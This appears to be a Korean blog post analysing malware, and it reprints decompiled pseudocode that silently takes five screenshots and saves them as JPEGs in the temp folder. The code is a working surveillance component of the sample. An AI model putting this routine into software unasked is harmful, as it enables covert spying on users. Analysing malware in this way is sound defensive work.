최근 악성코드가 사용한 캡쳐 코드
{
i = 0;
do
{
v5 = 1;
v6 = 0;
v7 = 0;
v8 = 0;
GdiplusStartup(&v4, &v5, &v13);
v1 = CreateDCA("DISPLAY", 0, 0, 0);
H_value = GetDeviceCaps(v1, 8); // H(가로)
V_value = GetDeviceCaps(v1, 10); // V(세로)
v10 = 0;
v9 = 0;
Sleep(0xBB8u);
GetTempPathW(0xC8u, &Buffer);
wsprintfW(&Buffer, L"%s%d.jpg", &Buffer, i);
v2 = CREATE_BITMAP(&v9);
Save_img(v2, &Buffer);
DeleteDC(v1);
GdiplusShutdown(v4);
++i;
}
while ( i < 5 );
Sleep(0x2710u);
return sub_10001C90(&unk_10004140);
}
CREATE_BITMAP(&v9){
v1 = a1;
if ( IsRectEmpty(a1) )
{
result = 0;
}
else
{
v8 = CreateDCA("DISPLAY", 0, 0, 0);
hDCA = v8;
v9 = CreateCompatibleDC(v8);
v10 = v1->top;
v5 = v1->right;
v6 = v9;
v11 = v1->left;
v4 = v1->bottom;
v19 = v11;
v18 = v10;
H_value = GetDeviceCaps(hDCA, 8);
V_value = GetDeviceCaps(hDCA, 10);
if ( v19 < 0 )
v19 = 0;
if ( v18 < 0 )
v18 = 0;
if ( v5 > H_value )
v5 = H_value;
if ( v4 > V_value )
v4 = V_value;
v12 = v4 - v18;
v13 = v5 - v19;
v14 = CreateCompatibleBitmap(hDCA, v13, v12);
v15 = SelectObject(v6, v14);
BitBlt(v6, 0, 0, v13, v12, hDCA, v19, v18, 0xCC0020u);
v16 = SelectObject(v6, v15);
(DeleteDC)(v17, hDCA);
DeleteDC(v6);
result = v16;
}
return result;
}
Save_img(v2, &Buffer){
v4 = 0;
GdipCreateBitmapFromHBITMAP(this, 0, &v4);
v3 = v4;
jpeg_encode(&v6);
v8 = dword_1000317C;
v9 = dword_10003180;
v7 = 1;
v10 = dword_10003184;
v12 = 1;
v11 = dword_10003188;
v14 = &v5;
v13 = 4;
v5 = 30;
GdipSaveImageToFile(v3, a2, &v6, &v7);
return GdipDisposeImage(v3);
}
'유용한 지식 자료들 > 악성코드 기법' 카테고리의 다른 글
안티VM 악성코드 - 사이즈 확인도 (0) | 2016.02.16 |
---|---|
320악성코드의 변종(?) - Thread Context 관련 (0) | 2014.07.31 |
후킹(자가보호) 해제 (0) | 2012.12.27 |
악성코드 'PlugX Dropper'의 설치 방식 (0) | 2012.11.14 |
64비트인지 아닌지 확인하기x2 (0) | 2012.11.05 |